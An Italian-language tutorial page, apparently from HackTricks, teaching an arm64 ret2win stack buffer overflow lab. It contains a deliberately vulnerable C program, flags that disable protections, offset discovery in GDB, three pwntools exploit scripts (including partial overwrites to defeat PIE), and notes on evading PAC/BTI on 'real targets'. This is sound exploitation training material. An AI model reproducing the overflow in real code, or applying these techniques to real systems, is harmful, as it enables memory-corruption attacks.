Ret2win - arm64
Reading time: 8 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Trova un'introduzione all'arm64 in:
Codice
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
Compilare senza pie e canary:
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
- Il flag aggiuntivo
-mbranch-protection=none
disabilita AArch64 Branch Protection (PAC/BTI). Se la tua toolchain abilita PAC o BTI per default, questo mantiene il laboratorio riproducibile. Per verificare se un binario compilato usa PAC/BTI puoi: - Cerca le proprietà GNU per AArch64:
readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
- Ispeziona prologhi/epiloghi per
paciasp
/autiasp
(PAC) o per landing padbti c
(BTI): objdump -d ret2win | head -n 40
Fatti rapidi sulla convenzione di chiamata AArch64
- Il link register è
x30
(aliaslr
), e le funzioni tipicamente salvanox29
/x30
constp x29, x30, [sp, #-16]!
e li ripristinano conldp x29, x30, [sp], #16; ret
. - Questo significa che l'indirizzo di ritorno salvato si trova a
sp+8
relativo alla base del frame. Con unchar buffer[64]
posizionato sotto, la distanza tipica per sovrascrivere il savedx30
è 64 (buffer) + 8 (x29 salvato) = 72 byte — esattamente quello che troveremo più avanti. - Lo stack pointer deve rimanere allineato a 16 byte ai confini di funzione. Se costruisci ROP chains successivamente per scenari più complessi, mantieni l'allineamento dello SP oppure potresti andare in crash sugli epiloghi di funzione.
Trovare l'offset
Opzione pattern
Questo esempio è stato creato usando GEF:
Avvia gdb con gef, crea il pattern e usalo:
gdb -q ./ret2win
pattern create 200
run
.png)
arm64 tenterà di tornare all'indirizzo nel registro x30 (che è stato compromesso), possiamo usare questo per trovare il pattern offset:
pattern search $x30
.png)
L'offset è 72 (9x48).
Opzione offset dello stack
Inizia ottenendo l'indirizzo dello stack dove è memorizzato il registro pc:
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
.png)
Ora imposta un breakpoint dopo la read()
e usa continue fino a quando la read()
viene eseguita, quindi imposta un pattern come 13371337:
b *vulnerable_function+28
c
.png)
Trova dove questo pattern è memorizzato in memoria:
.png)
Quindi: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
.png)
No PIE
Normale
Ottieni l'indirizzo della funzione win
:
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
Exploit:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Off-by-1
In realtà sarà più come un off-by-2 nel PC memorizzato nello stack. Invece di sovrascrivere tutto il return address andremo a sovrascrivere solo gli ultimi 2 byte con 0x06c4
.
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Puoi trovare un altro esempio di off-by-one in ARM64 in https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, che è un vero off-by-one in una vulnerabilità fittizia.
Con PIE
tip
Compila il binario senza l'argomento -no-pie
Off-by-2
Senza un leak non conosciamo l'indirizzo esatto della win function, ma possiamo conoscere l'offset della funzione rispetto al binario e, sapendo che l'indirizzo di ritorno che stiamo sovrascrivendo punta già a un indirizzo vicino, è possibile effettuare un leak dell'offset verso la win function (0x7d4) in questo caso e usare semplicemente quell'offset:
.png)
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x07d4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
Note sull'hardening AArch64 moderno (PAC/BTI) e ret2win
- Se il binario è compilato con AArch64 Branch Protection, potresti vedere
paciasp
/autiasp
obti c
emessi nei prologhi/epiloghi delle funzioni. In tal caso: - Il ritorno verso un indirizzo che non è un BTI landing pad valido può causare un
SIGILL
. È preferibile mirare all'esatta entry della funzione che contienebti c
. - Se PAC è abilitato per i ritorni, semplici sovrascritture dell'indirizzo di ritorno possono fallire perché l'epilogo autentica
x30
. Per scenari di apprendimento, ricompila con-mbranch-protection=none
(mostrato sopra). Quando attacchi bersagli reali, preferisci hijack non basati su return (ad es., sovrascritture di function pointer) o costruisci ROP che non esegua mai una coppiaautiasp
/ret
che autentichi il tuo LR contraffatto. - Per verificare rapidamente le caratteristiche:
readelf --notes -W ./ret2win
e cerca le noteAARCH64_FEATURE_1_BTI
/AARCH64_FEATURE_1_PAC
.objdump -d ./ret2win | head -n 40
e cercabti c
,paciasp
,autiasp
.
Esecuzione su host non‑ARM64 (consiglio rapido qemu‑user)
Se sei su x86_64 ma vuoi esercitarti con AArch64:
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
Pagine correlate di HackTricks
Ret2syscall - ARM64
Riferimenti
- Abilitare PAC e BTI su AArch64 per Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Standard delle chiamate di procedura per l'architettura Arm a 64 bit (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.